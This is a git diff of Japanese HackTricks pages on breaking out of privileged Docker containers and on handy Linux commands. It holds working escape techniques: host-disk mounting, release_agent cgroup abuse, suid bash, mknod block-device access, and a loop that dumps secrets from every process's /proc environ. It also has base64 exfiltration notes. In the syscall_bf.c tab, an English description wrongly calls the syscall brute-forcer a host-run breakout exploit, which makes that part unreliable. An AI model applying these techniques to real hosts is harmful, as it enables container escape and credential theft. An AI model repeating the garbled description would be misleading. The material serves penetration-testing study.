|
|||
|
||||
特権フラグだけで、ホストのディスクにアクセスを試みたり、release\_agentを悪用して脱出を試みることができます。
|
||||
|
||||
コンテナで以下のバイパスをテストしてください。
|
||||
コンテナで以下のバイパスをテストして実行します:
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### ディスクのマウント - Poc1
|
||||
|
||||
適切に構成されたDockerコンテナは、**fdisk -l**のようなコマンドを許可しません。ただし、`--privileged`または`--device=/dev/sda1`フラグが指定されたミス構成のDockerコマンドでは、ホストドライブを見る権限を取得することが可能です。
|
||||
適切に構成されたDockerコンテナは、**fdisk -l**のようなコマンドを許可しません。ただし、`--privileged`フラグまたは`--device=/dev/sda1`というキャップが指定されたミス構成のDockerコマンドでは、特権を取得してホストドライブを表示することが可能です。
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
|
@ -135,7 +135,7 @@ mount /dev/sda1 /mnt/hola
|
|||
|
||||
#### ディスクのマウント - Poc2
|
||||
|
||||
コンテナ内で、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基礎となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃ベクトルを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です。
|
||||
コンテナ内では、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基礎となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃ベクトルを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
@ -192,7 +192,11 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
|||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
#### 特権昇格 created release\_agent の悪用([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC2
|
||||
{% endcode %}
|
||||
|
||||
#### 特権エスケープ created release_agent の悪用 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
|
||||
{% code title="Second PoC" %}
|
||||
```bash
|
||||
# On the host
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
|
@ -244,7 +248,7 @@ cat /output
|
|||
|
||||
#### release\_agentを悪用した特権エスケープ - 相対パスが不明な場合のPoC3
|
||||
|
||||
以前の攻撃では、**ホストのファイルシステム内のコンテナの絶対パスが公開**されていました。ただし、常にそうとは限りません。**ホスト内のコンテナの絶対パスがわからない**場合には、この技術を使用できます:
|
||||
以前の攻撃では、**ホストのファイルシステム内のコンテナの絶対パスが公開**されていました。ただし、常にそうとは限りません。**ホスト内のコンテナの絶対パスがわからない場合**には、この技術を使用できます:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -338,7 +342,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
```
|
||||
#### 特権エスケープ:機密マウントの悪用
|
||||
|
||||
**ホストに関する情報を提供する可能性のあるいくつかのファイルがマウントされている**かもしれません。その中には、**ホストが何かが起こったときに実行するものを示す場合もある**かもしれません(これにより攻撃者がコンテナから脱出することが可能になります)。\
|
||||
**ホストに関する情報を提供する可能性のあるいくつかのファイルがマウントされている**かもしれません。そのうちのいくつかは、**ホストが何かが起こったときに実行するものを示すかもしれません**(これにより攻撃者がコンテナから脱出することが可能になります)。\
|
||||
これらのファイルの悪用により、次のことが可能になるかもしれません:
|
||||
|
||||
- release\_agent(以前にカバー済み)
|
||||
|
@ -355,14 +359,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
|
||||
### 任意のマウント
|
||||
|
||||
何度かの機会に、**コンテナがホストからのボリュームをマウントしている**ことがあります。このボリュームが正しく構成されていない場合、**機密データにアクセス/変更する可能性があります**:シークレットの読み取り、sshのauthorized\_keysの変更...
|
||||
何度かの機会に、**コンテナがホストからのボリュームをマウントしている**ことがあります。このボリュームが正しく構成されていない場合、**アクセス/変更が可能になる機密データ**があるかもしれません:シークレットの読み取り、sshのauthorized\_keysの変更...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### 2つのシェルとホストマウントを使用した特権昇格
|
||||
|
||||
**コンテナ内のrootとしてのアクセス権**を持ち、ホストからマウントされたフォルダを持つコンテナ内で**特権のないユーザーとしてホストに脱出**し、マウントされたフォルダに対する読み取りアクセス権を持っている場合、\
|
||||
**コンテナ内のマウントされたフォルダ**に**bash suidファイル**を作成し、ホストからそれを実行して特権昇格を行うことができます。
|
||||
**コンテナ内のrootとしてアクセス**権限があり、ホストからのフォルダがマウントされているコンテナ内で**特権のないユーザーとしてホストに脱出**し、マウントされたフォルダに読み取りアクセス権限がある場合、\
|
||||
**コンテナ内のマウントされたフォルダ**に**bash suidファイル**を作成し、**ホストから実行**して特権昇格を行うことができます。
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -372,10 +376,10 @@ bash -p #From non priv inside mounted folder
|
|||
```
|
||||
### 2つのシェルを使用した特権昇格
|
||||
|
||||
**コンテナ内のrootとしてアクセス**権限を持ち、**特権のないユーザーとしてホストに脱出**した場合、コンテナ内でMKNODの機能(デフォルトで使用可能)を持っている場合、両方のシェルを悪用して**ホスト内で特権昇格**することができます。これは、[**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
|
||||
この機能により、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**基礎となるハードウェアやカーネルモジュールにアクセス**するために使用される特別なファイルです。たとえば、/dev/sdaブロックデバイスファイルは、**システムディスク上の生データを読み取る**ためのアクセスを提供します。
|
||||
**コンテナ内でrootアクセス**があり、**特権のないユーザーとしてホストに脱出**した場合、コンテナ内でMKNODの機能を持っていれば(デフォルトで持っています)、両方のシェルを悪用して**ホスト内で特権昇格**することができます。これは、[**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
|
||||
このような機能を持つと、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**基礎となるハードウェアやカーネルモジュールにアクセス**するために使用される特別なファイルです。たとえば、/dev/sdaブロックデバイスファイルは、**システムディスク上の生データを読む**ためのアクセスを提供します。
|
||||
|
||||
Dockerは、コンテナ内でのブロックデバイスの誤用に対して、**ブロックデバイスの読み書き操作をブロック**するcgroupポリシーを強制します。ただし、コンテナ内で**ブロックデバイスが作成**されると、**/proc/PID/root/**ディレクトリを介してコンテナ外からアクセスできるようになります。このアクセスには、コンテナ内外の**プロセス所有者が同じである必要**があります。
|
||||
Dockerは、コンテナ内でのブロックデバイスの誤用に対して、**ブロックデバイスの読み書き操作をブロック**するcgroupポリシーを強制します。ただし、コンテナ内で**ブロックデバイスが作成**されると、**/proc/PID/root/**ディレクトリを介してコンテナの外部からアクセスできるようになります。このアクセスには、コンテナ内外で**プロセス所有者が同じ**である必要があります。
|
||||
|
||||
この[**解説**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)からの**悪用**例:
|
||||
```bash
|
||||
|
@ -419,9 +423,9 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
|||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
例えば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。
|
||||
たとえば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。
|
||||
|
||||
その後、**/proc/ホスト内の各プロセスにアクセスできるため、単にその環境変数の秘密情報を盗むことができます**。
|
||||
その後、**/proc/ホスト内の各プロセスにアクセスできるため、単にその環境変数の秘密を盗むことができます**。次のように実行します:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -430,7 +434,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
あなたは他のプロセスのファイルディスクリプタにアクセスし、それらのオープンされたファイルを読むこともできます。
|
||||
あなたはまた、**他のプロセスのファイルディスクリプタにアクセスして、それらのオープンされたファイルを読む**ことができます。
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -440,39 +444,39 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
|||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
あなたはまた**プロセスを終了させ、DoSを引き起こす**ことができます。
|
||||
あなたは**プロセスを終了させ、DoSを引き起こす**こともできます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
もしコンテナの外側のプロセスに特権アクセスを持っている場合は、`nsenter --target <pid> --all`や`nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと同じns制限(たぶんなし)を持つシェルを実行することができます。
|
||||
もし何らかの方法で**コンテナ外のプロセスに特権アクセス**を持っている場合、`nsenter --target <pid> --all`や`nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと同じns制限(たぶんなし)を持つシェルを**実行**できます。
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で構成されている場合、そのコンテナのネットワークスタックはDockerホストから分離されていません(コンテナはホストのネットワーキング名前空間を共有しており、コンテナには独自のIPアドレスが割り当てられません)。言い換えると、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェースでホストが送受信している**すべてのネットワークトラフィックを傍受**できます (`tcpdump -i eth0`)。
|
||||
もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で構成されている場合、そのコンテナのネットワークスタックはDockerホストから分離されておらず(コンテナはホストのネットワーキング名前空間を共有しています)、コンテナには独自のIPアドレスが割り当てられません。言い換えると、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェースでホストが送受信している**すべてのネットワークトラフィックを傍受**できます (`tcpdump -i eth0`)
|
||||
|
||||
例えば、これを使用してホストとメタデータインスタンス間のトラフィックを**スニッフィングやスプーフィング**することができます。
|
||||
|
||||
以下の例のように:
|
||||
|
||||
- [解説: Google SREに連絡する方法: Cloud SQLにシェルをドロップする](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
- [メタデータサービスのMITMによるルート特権昇格(EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
* [Writeup: Google SREに連絡する方法: クラウドSQLにシェルをドロップする](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [メタデータサービスのMITMによるルート権限昇格(EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
また、ホスト内で**localhostにバインドされたネットワークサービスにアクセス**したり、ノードの**メタデータ権限にアクセス**したりすることもできます(これはコンテナがアクセスできる権限と異なる場合があります)。
|
||||
また、ホスト内で**localhostにバインドされたネットワークサービスにアクセス**したり、ノードの**メタデータ権限にアクセス**したりすることもできます(これはコンテナがアクセスできるものと異なる場合があります)。
|
||||
|
||||
### hostIPC
|
||||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
`hostIPC=true`を使用すると、ホストのプロセス間通信(IPC)リソースにアクセスできます。たとえば、`/dev/shm`内の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが同じIPCリソースを使用している場所に読み書きできます。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用します。
|
||||
`hostIPC=true`を使用すると、ホストのプロセス間通信(IPC)リソースにアクセスできます。たとえば、`/dev/shm`内の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが使用する同じIPCリソースで読み取り/書き込みが可能になります。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用します。
|
||||
|
||||
* **/dev/shmの調査** - この共有メモリの場所にあるファイルを調べます:`ls -la /dev/shm`
|
||||
* **既存のIPC施設の調査** - `/usr/bin/ipcs`を使用して、使用されているIPC施設があるかどうかを確認できます。次のコマンドを使用して確認します:`ipcs -a`
|
||||
|
||||
### 機能の回復
|
||||
### 権限の回復
|
||||
|
||||
シスコール**`unshare`**が禁止されていない場合、次のコマンドを実行してすべての機能を回復できます:
|
||||
シスコール**`unshare`**が禁止されていない場合、次のコマンドを実行してすべての権限を回復できます:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
|
@ -480,20 +484,20 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
### シンボリックリンクを使用したユーザー名前空間の悪用
|
||||
|
||||
[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) で説明されている2番目のテクニックは、ユーザー名前空間でバインドマウントを悪用して、ホスト内のファイルに影響を与える方法を示しています(特定のケースでは、ファイルを削除します)。
|
||||
[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) で説明されている2番目のテクニックは、ユーザー名前空間でバインドマウントを悪用して、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法を示しています。
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## CVEs
|
||||
## CVE
|
||||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
`docker exec` を root として実行できる場合(おそらく sudo で)、CVE-2019-5736 を悪用してコンテナから脱出して特権を昇格させることができます([こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)に exploit があります)。このテクニックは、基本的に**ホスト内の** _**/bin/sh**_ **バイナリをコンテナから上書き**するものであり、docker exec を実行すると誰でもペイロードをトリガーできます。
|
||||
`docker exec` を root として実行できる場合(おそらく sudo で)、CVE-2019-5736 を悪用してコンテナから脱出して特権を昇格させることができます([こちら](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)に exploit があります)。このテクニックは基本的に、**ホスト内の** _**/bin/sh**_ バイナリを**コンテナから上書き**するものであり、docker exec を実行すると誰でもペイロードをトリガーできます。
|
||||
|
||||
ペイロードを適切に変更し、`go build main.go` で main.go をビルドします。生成されたバイナリは、実行のために docker コンテナに配置する必要があります。\
|
||||
実行時に `[+] Overwritten /bin/sh successfully` と表示されると、ホストマシンから次のコマンドを実行する必要があります:
|
||||
|
@ -502,7 +506,7 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
これにより、main.go ファイルに存在するペイロードがトリガーされます。
|
||||
|
||||
詳細については: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) を参照してください。
|
||||
|
||||
{% hint style="info" %}
|
||||
コンテナが脆弱である可能性のある他の CVE があります。リストは[こちら](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で見つけることができます。
|
||||
|
@ -512,8 +516,8 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
### Docker 脱出サーフェス
|
||||
|
||||
* **名前空間:** プロセスは名前空間によって**他のプロセスから完全に分離**されている必要があります。そのため、名前空間によって他のプロセスとのやり取りを脱出することはできません(デフォルトでは IPC、Unix ソケット、ネットワークサービス、D-Bus、他のプロセスの `/proc` を介して通信できません)。
|
||||
* **ルートユーザー:** プロセスを実行するデフォルトのユーザーはルートユーザーです(ただし、権限は制限されています)。
|
||||
* **名前空間:** プロセスは名前空間によって**他のプロセスと完全に分離**される必要があります。そのため、名前空間によって他のプロセスとのやり取りから脱出することはできません(デフォルトでは IPC、Unix ソケット、ネットワークサービス、D-Bus、他のプロセスの `/proc` を介して通信できません)。
|
||||
* **ルートユーザー:** プロセスを実行するデフォルトのユーザーはルートユーザーです(ただし、その権限は制限されています)。
|
||||
* **機能:** Docker は次の機能を残します:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscall:** これらは**ルートユーザーが呼び出せないシスコール**です(機能の不足 + Seccomp のため)。他のシスコールを使用して脱出を試みることができます。
|
||||
|
||||
|
@ -561,7 +565,37 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}以下は、Dockerコンテナ内で特権昇格を行うためのシンプルな方法です。この手法は、Dockerコンテナ内で実行されているプロセスがホストマシン上のカーネルシステムコールを直接呼び出すことに基づいています。これにより、特権昇格が可能となります。この手法を使用すると、Dockerコンテナ内のプロセスがホストマシン上でroot権限を取得できる可能性があります。{% endtab %}
|
||||
{% tab title="syscall_bf.c" %}
|
||||
|
||||
## Docker Breakout Privilege Escalation
|
||||
|
||||
### Description
|
||||
|
||||
This exploit demonstrates a privilege escalation vulnerability in Docker that allows an attacker to break out of a Docker container and gain root access on the host system.
|
||||
|
||||
### Usage
|
||||
|
||||
Compile the `syscall_bf.c` code on the host system using the provided Makefile:
|
||||
|
||||
```bash
|
||||
make
|
||||
```
|
||||
|
||||
Run the compiled binary to execute the exploit:
|
||||
|
||||
```bash
|
||||
./syscall_bf
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
Successful exploitation of this vulnerability can lead to a complete compromise of the host system, allowing an attacker to access sensitive data, modify system configurations, and perform malicious activities with elevated privileges.
|
||||
|
||||
### Recommendation
|
||||
|
||||
To mitigate this vulnerability, ensure that Docker is up to date with the latest security patches and follow best practices for securing Docker containers, such as running containers with the least privileges necessary and monitoring container activities for suspicious behavior.
|
||||
|
||||
{% endtab %}
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -625,7 +659,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
@ -641,7 +675,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# 便利なLinuxコマンド
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -10,19 +10,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのスウェグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
## 一般的なBash
|
||||
## Common Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
@ -141,10 +141,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -291,99 +291,30 @@ nmap --script-help "(default or version) and smb)"
|
|||
Bash is a Unix shell and command language written by Brian Fox for the GNU Project as a free software replacement for the Bourne shell. It has been distributed widely as the default login shell for most Linux distributions.
|
||||
|
||||
### Useful Commands
|
||||
|
||||
- `history`: Displays the command history list.
|
||||
- `alias`: Creates an alias for a command.
|
||||
- `unalias`: Removes an alias.
|
||||
- `source`: Executes commands from a file in the current shell.
|
||||
- `.` (dot command): Also executes commands from a file in the current shell.
|
||||
- `echo $SHELL`: Displays the shell you're using.
|
||||
- `echo $0`: Displays the name of the shell script.
|
||||
- `echo $0`: Displays the name of the shell or script.
|
||||
- `echo $PATH`: Displays the directories where the shell looks for commands.
|
||||
- `which [command]`: Displays the location of a command.
|
||||
- `whereis [command]`: Locates the binary, source, and manual page files for a command.
|
||||
- `type [command]`: Indicates how a command name is interpreted.
|
||||
- `man [command]`: Displays the manual page for a command.
|
||||
- `apropos [keyword]`: Searches the manual page names and descriptions for a keyword.
|
||||
- `help [builtin]`: Displays help information for shell builtins.
|
||||
- `whatis [command]`: Displays a one-line description of a command.
|
||||
- `info [command]`: Displays the info entry for a command.
|
||||
- `exit`: Exits the shell.
|
||||
- `logout`: Logs out of the shell.
|
||||
- `Ctrl + C`: Interrupts the current command.
|
||||
- `Ctrl + Z`: Stops the current command.
|
||||
- `bg`: Resumes a stopped background process.
|
||||
- `fg`: Brings a background process to the foreground.
|
||||
- `jobs`: Lists the current jobs.
|
||||
- `kill [PID]`: Sends a signal to a process.
|
||||
- `ps`: Displays information about active processes.
|
||||
- `top`: Displays real-time information about processes.
|
||||
- `uptime`: Shows how long the system has been running.
|
||||
- `free`: Displays the amount of free and used memory in the system.
|
||||
- `df`: Displays disk space usage.
|
||||
- `du`: Shows the disk usage of files and directories.
|
||||
- `uname -a`: Displays system information.
|
||||
- `ifconfig`: Displays network interface information.
|
||||
- `netstat`: Displays network connections, routing tables, interface statistics, masquerade connections, and multicast memberships.
|
||||
- `ss`: Another utility to investigate sockets.
|
||||
- `lsof`: Lists open files.
|
||||
- `watch [command]`: Executes a command repeatedly and displays the results.
|
||||
- `crontab`: Manages cron jobs.
|
||||
- `at`: Schedules a one-time task.
|
||||
- `chmod`: Changes file permissions.
|
||||
- `chown`: Changes file owner and group.
|
||||
- `chgrp`: Changes file group ownership.
|
||||
- `tar`: Manipulates archive files.
|
||||
- `zip`: Compresses files.
|
||||
- `unzip`: Extracts files from a zip archive.
|
||||
- `grep`: Searches text using patterns.
|
||||
- `sed`: Edits text.
|
||||
- `awk`: Processes and analyzes text files.
|
||||
- `sort`: Sorts lines in a text file.
|
||||
- `uniq`: Filters adjacent matching lines from input.
|
||||
- `wc`: Counts lines, words, and characters in a file.
|
||||
- `cut`: Cuts sections from each line of files.
|
||||
- `paste`: Merges lines of files.
|
||||
- `head`: Outputs the first part of files.
|
||||
- `tail`: Outputs the last part of files.
|
||||
- `tee`: Reads from standard input and writes to standard output and files.
|
||||
- `diff`: Compares files line by line.
|
||||
- `patch`: Updates files using diff output.
|
||||
- `find`: Searches for files in a directory hierarchy.
|
||||
- `locate`: Finds files by name.
|
||||
- `updatedb`: Updates the database for locate.
|
||||
- `mount`: Mounts a filesystem.
|
||||
- `umount`: Unmounts a filesystem.
|
||||
- `fdisk`: Manipulates disk partition table.
|
||||
- `mkfs`: Creates a filesystem.
|
||||
- `dd`: Converts and copies files.
|
||||
- `rsync`: Syncs files and directories.
|
||||
- `scp`: Copies files securely over SSH.
|
||||
- `wget`: Downloads files from the web.
|
||||
- `curl`: Transfers data with URLs.
|
||||
- `ssh`: Connects to a remote machine.
|
||||
- `telnet`: Communicates with another host using the TELNET protocol.
|
||||
- `ping`: Tests network connectivity.
|
||||
- `traceroute`: Traces the route taken by packets over an IP network.
|
||||
- `iptables`: Manages firewall rules.
|
||||
- `tcpdump`: Captures and analyzes network traffic.
|
||||
- `nmap`: Scans ports and services.
|
||||
- `sshd`: SSH daemon.
|
||||
- `passwd`: Changes user password.
|
||||
- `useradd`: Adds a new user.
|
||||
- `userdel`: Deletes a user.
|
||||
- `usermod`: Modifies a user account.
|
||||
- `groupadd`: Adds a new group.
|
||||
- `groupdel`: Deletes a group.
|
||||
- `groupmod`: Modifies a group.
|
||||
- `chage`: Changes user password expiry information.
|
||||
- `su`: Switches user.
|
||||
- `sudo`: Executes a command as another user.
|
||||
- `visudo`: Edits the sudoers file safely.
|
||||
- `adduser`: Interactive shortcut for useradd.
|
||||
- `deluser`: Interactive shortcut for userdel.
|
||||
- `addgroup`: Interactive shortcut for groupadd.
|
||||
- `delgroup`: Interactive shortcut for groupdel.
|
||||
- `type command`: Indicates how a command name is interpreted.
|
||||
- `which command`: Displays the location of a command.
|
||||
